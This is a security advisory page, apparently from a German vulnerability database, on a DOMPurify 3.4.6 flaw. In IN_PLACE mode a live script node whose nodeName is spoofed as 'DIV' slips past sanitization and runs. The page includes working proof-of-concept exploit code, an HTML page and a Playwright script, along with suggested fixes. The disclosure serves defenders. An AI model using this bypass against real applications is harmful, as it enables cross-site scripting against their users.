Niedrig

DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects

  • Veröffentlicht: 15.06.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

When DOMPurify.sanitize(root, { IN_PLACE: true }) is called on an attacker-supplied live DOM node, DOMPurify still trusts currentNode.nodeName for non-form nodes in the main _sanitizeElements pipeline. A real <script> child node whose observable nodeName is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.

This affects current 3.4.6. The recent IN_PLACE hardening work covers clobbered form handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-form live nodes.

Affected

  • DOMPurify 3.4.6
  • Any caller that does DOMPurify.sanitize(node, { IN_PLACE: true }) on attacker-supplied live DOM nodes
  • Verified attacker-controlled node sources:
    • same-origin iframe → live node passed by reference
    • same-origin window.open() popup → live node passed by reference
    • same-origin foreign node adopted into the host document via document.adoptNode(node) and then sanitized in-place

Not affected:

  • String-input DOMPurify.sanitize(dirtyString)

Vulnerability details

Code paths

[A] — _sanitizeElements uses the instance-visible nodeName for the allow/forbid decision:

ts
const _sanitizeElements = function (currentNode: any): boolean {
  ...
  if (_isClobbered(currentNode)) {
    _forceRemove(currentNode);
    return true;
  }

  const tagName = transformCaseFunc(currentNode.nodeName);
  ...
  if (
    FORBID_TAGS[tagName] ||
    (!(...) && !ALLOWED_TAGS[tagName])
  ) {
    ...
    _forceRemove(currentNode);
    return true;
  }
  ...
};

For non-form nodes, _isClobbered(currentNode) returns false early. The subsequent element decision therefore trusts currentNode.nodeName directly.

[B] — _isClobbered is form-specific:

ts
const _isClobbered = function (element: Element): boolean {
  const realTagName = getNodeName ? getNodeName(element) : null;
  if (typeof realTagName !== 'string') {
    return false;
  }

  if (transformCaseFunc(realTagName) !== 'form') {
    return false;
  }

  return (...);
};

The hardening is intentionally scoped to form. Non-form nodes are not checked for divergence between the instance-visible property view and the trusted prototype getter view.

Why the bypass works

The attack does not depend on string HTML parsing. It depends on a hostile live DOM object crossing a trust boundary into DOMPurify's IN_PLACE pipeline.

If the attacker controls a same-origin subcontext (iframe or popup), they can prepare a real DOM subtree there and then pass the live node object by reference to a host page that trusts DOMPurify.sanitize(node, { IN_PLACE: true }) as its final sanitization step.

For the verified primitive below:

  • the real child node is <script>
  • its script text is attacker-controlled
  • the observable nodeName is attacker-controlled and made to appear as "DIV"
  • _sanitizeElements therefore classifies the real <script> child as an allowed element
  • the real <script> survives in the sanitized tree and executes on insertion

This primitive survives:

  • direct reference passing
  • document.adoptNode(node) followed by IN_PLACE

It does not survive:

  • importNode
  • cloneNode

because those paths materialize a fresh node and discard the hostile object semantics.

Proof of concept

(1) Minimal — runnable in a single browser context

html
<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
  const foreign = window.open('about:blank', '_blank', 'noopener=no');

  const host = foreign.document.createElement('div');
  const script = foreign.document.createElement('script');
  script.textContent = 'window.__pwned = 1';
  Object.defineProperty(script, 'nodeName', {
    value: 'DIV',
    configurable: true,
  });
  host.appendChild(script);

  DOMPurify.sanitize(host, { IN_PLACE: true });

  console.log('output:', host.outerHTML);
  // <div><script>window.__pwned = 1</script></div>

  window.__pwned = 0;
  document.body.appendChild(host);
  console.log('handler fired:', window.__pwned === 1); // true
</script>
</body></html>

(2) End-to-end — Playwright

js
const { chromium } = require('playwright');
const path = require('path');

(async () => {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  await page.goto('about:blank');
  await page.addScriptTag({ path: path.resolve('dist/purify.js') });

  const result = await page.evaluate(async () => {
    window.__hits = [];

    const foreign = window.open('about:blank', '_blank', 'noopener=no');
    const host = foreign.document.createElement('div');
    const script = foreign.document.createElement('script');
    script.textContent = 'top.__hits.push("script-fired")';
    Object.defineProperty(script, 'nodeName', {
      value: 'DIV',
      configurable: true,
    });
    host.appendChild(script);

    DOMPurify.sanitize(host, { IN_PLACE: true });
    document.body.appendChild(host);

    return {
      version: DOMPurify.version,
      output: host.outerHTML,
      fired: window.__hits.includes('script-fired'),
    };
  });

  console.log(result);
  await browser.close();
})();

Observed:

  • Chromium / Firefox / WebKit
js
{
  version: '3.4.6',
  output: '<div><script>top.__hits.push("script-fired")</script></div>',
  fired: true
}

Impact

Direct

XSS via retained real <script> nodes inside attacker-supplied live DOM objects.

Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) as a security boundary for live DOM objects supplied by a lower-trust same-origin subcontext is vulnerable.

The typical pattern is:

js
// attacker-controlled same-origin subcontext prepares a live node
const foreignNode = attackerFrame.contentWindow.makeNode();

// host treats DOMPurify as the last security gate
DOMPurify.sanitize(foreignNode, { IN_PLACE: true });
container.appendChild(foreignNode);

If foreignNode is a hostile live DOM object whose real child is <script> but whose observable nodeName is attacker-controlled, the sanitized output still contains the real script node when re-inserted into the live document.

Indirect / second-order

  • Applications that accept same-origin plugin / extension / widget DOM and rely on IN_PLACE as the final sanitization step
  • Editor or design-tool architectures where lower-trust subcontexts submit live DOM subtrees to a higher-trust host for in-place sanitization

Suggested fix

Two minimal-risk options:

  1. Stop trusting instance-visible nodeName for the element decision in IN_PLACE.

Use the cached prototype getter (or another trusted realm-safe primitive) for the allow/forbid decision, just as the recent hardening already does for selected root and shadow-root checks.

In other words, the main pipeline should not do:

ts
const tagName = transformCaseFunc(currentNode.nodeName);

on hostile live objects.

  1. Generalize hostile-node detection beyond form.

The current _isClobbered() logic is form-specific. A more defensive approach would reject or strictly sanitize any IN_PLACE node whose instance-visible critical properties diverge from the trusted prototype getter view, at least for:

  • nodeName
  • attributes
  • childNodes

Either approach would close the verified primitive above.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket dompurify <= 3.4.6 keine Korrektur

Verweise

CVSS-Wert -
Schwäche (CWE)
CWE-79
Plattform
npm
Paket
dompurify
Veröffentlicht
15.06.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-x4vx-rjvf-j5p4 - CC BY 4.0

Schwachstellenhistorie: dompurify

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (30) im Archiv
Einträge insgesamt
30
Erste → letzte
08.2020 10.2026
Ohne Fix
1
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 2
  • Hoch 3
  • Mittel 19
  • Niedrig 6

Veröffentlichungen pro Jahr

  1. 2020: 3
  2. 2021: 0
  3. 2022: 0
  4. 2023: 1
  5. 2024: 3
  6. 2025: 1
  7. 2026: 22
Schweregrad:
  1. DOMPurify: `IN_PLACE` mode trusts attacker-controlled `nodeName` on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects dieser Eintrag
    Niedrig CVE-2026-65901 <= 3.4.6 keine Korrektur
  2. Hoch · 8.2 CVE-2026-47423 >= 3.4.4, < 3.4.5 3.4.5
  3. Kritisch · 9.1 CVE-2024-48910 < 2.4.2 2.4.2
  4. Hoch · 10.0 CVE-2024-47875 < 2.5.0, >= 3.0.0, < 3.1.3 2.5.0, 3.1.3
  5. Hoch · 7.0 CVE-2024-45801 < 2.5.4, >= 3.0.0, < 3.1.3 2.5.4, 3.1.3
  6. Kritisch ghsa-mjjq-c88q-qhr6 < 2.0.7 2.0.7

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.